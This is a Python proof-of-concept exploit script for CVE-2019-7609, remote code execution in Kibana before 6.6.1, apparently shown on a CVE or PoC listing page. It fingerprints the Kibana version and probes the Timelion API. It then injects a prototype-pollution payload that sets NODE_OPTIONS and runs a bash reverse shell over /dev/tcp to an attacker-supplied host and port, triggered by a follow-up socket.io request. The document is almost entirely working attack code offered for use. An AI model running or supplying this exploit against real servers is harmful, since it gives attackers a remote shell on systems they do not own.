4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / kibana_exploit.py PY
#!/usr/bin/env python3
# coding:utf-8
# Build By LandGrey | Python3 Refactor by [Your Name]

import re
import sys
import time
import random
import argparse
import requests
import traceback
from packaging.version import Version

requests.packages.urllib3.disable_warnings()

def get_kibana_version(url):
    headers = {
        'Referer': url,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    }
    url = f"{url.rstrip('/')}/app/kibana"
    r = requests.get(url, verify=False, headers=headers, timeout=30)
    patterns = [r'"version":"(.*?)",', r'"version":"(.*?)",']
    for pattern in patterns:
        match = re.findall(pattern, r.text)
        if match:
            return match[0]
    return '9.9.9'

def version_compare(standard_versions, compare_version):
    try:
        v_min = Version(standard_versions[0])
        v_max = Version(standard_versions[1])
        v_cmp = Version(compare_version)
    except Exception:
        print("[-] ERROR: Kibana version compare failed!")
        return False
    return v_min > v_cmp or (Version("6.0.0") <= v_cmp < v_max)

def verify(url, version):
    if not version or not version_compare(["5.6.15", "6.6.1"], version):
        return False
    headers = {
        'Content-Type': 'application/json;charset=utf-8',
        'Referer': url,
        'kbn-version': version,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    }
    data = '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}'
    url = f"{url.rstrip('/')}/api/timelion/run"
    r = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
    return r.status_code == 200 and 'application/json' in r.headers.get('content-type', '') and '"seriesList"' in r.text

def reverse_shell(target, ip, port, version):
    random_name = "".join(random.sample('qwertyuiopasdfghjkl', 8))
    headers = {
        'Content-Type': 'application/json;charset=utf-8',
        'kbn-version': version,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0',
    }
    data = (
        r'{"sheet":[".es(*).props(label.__proto__.env.AAAA='
        r"'require(\"child_process\").exec(\"if [ ! -f /tmp/%s ];then touch /tmp/%s && /bin/bash -c \\'/bin/bash -i >& /dev/tcp/%s/%s 0>&1\\'; fi\");process.exit()//')"
        r"\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"
        r'"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"10s","timezone":"Asia/Shanghai"}}'
        % (random_name, random_name, ip, port)
    )
    url = f"{target}/api/timelion/run"
    r1 = requests.post(url, data=data, verify=False, headers=headers, timeout=20)
    if r1.status_code == 200:
        trigger_url = f"{target}/socket.io/?EIO=3&transport=polling&t=MtjhZoM"
        new_headers = headers.copy()
        new_headers.update({'kbn-xsrf': 'professionally-crafted-string-of-text'})
        r2 = requests.get(trigger_url, verify=False, headers=new_headers, timeout=20)
        if r2.status_code == 200:
            time.sleep(5)
            return True
    return False

def main():
    parser = argparse.ArgumentParser(description='Kibana < 6.6.1 RCE Exploit (CVE-2019-7609)')
    parser.add_argument("-u", dest='url', default="http://127.0.0.1:5601", type=str, help='Target URL (e.g., http://127.0.0.1:5601')
    parser.add_argument("-host", dest='remote_host', default="127.0.0.1", type=str, help='Reverse shell remote host')
    parser.add_argument("-port", dest='remote_port', default="8888", type=str, help='Reverse shell remote port')
    parser.add_argument('--shell', dest='reverse_shell', action="store_true", help='Trigger reverse shell after verification')
    args = parser.parse_args()

    target = args.url.rstrip('/')
    if "://" not in target:
        target = "http://" + target

    try:
        version = get_kibana_version(target)
        if verify(target, version):
            print(f"[+] {target} may be vulnerable to CVE-2019-7609 (Kibana < 6.6.1 RCE)")
            if args.reverse_shell:
                if reverse_shell(target, args.remote_host, args.remote_port, version):
                    print(f"[+] Reverse shell triggered! Check your session at {args.remote_host}:{args.remote_port}")
                else:
                    print("[-] Reverse shell attempt failed.")
        else:
            print(f"[-] {target} is not vulnerable to CVE-2019-7609.")
    except Exception:
        print("[-] Exploit failed!")
        traceback.print_exc()

if __name__ == "__main__":
    main()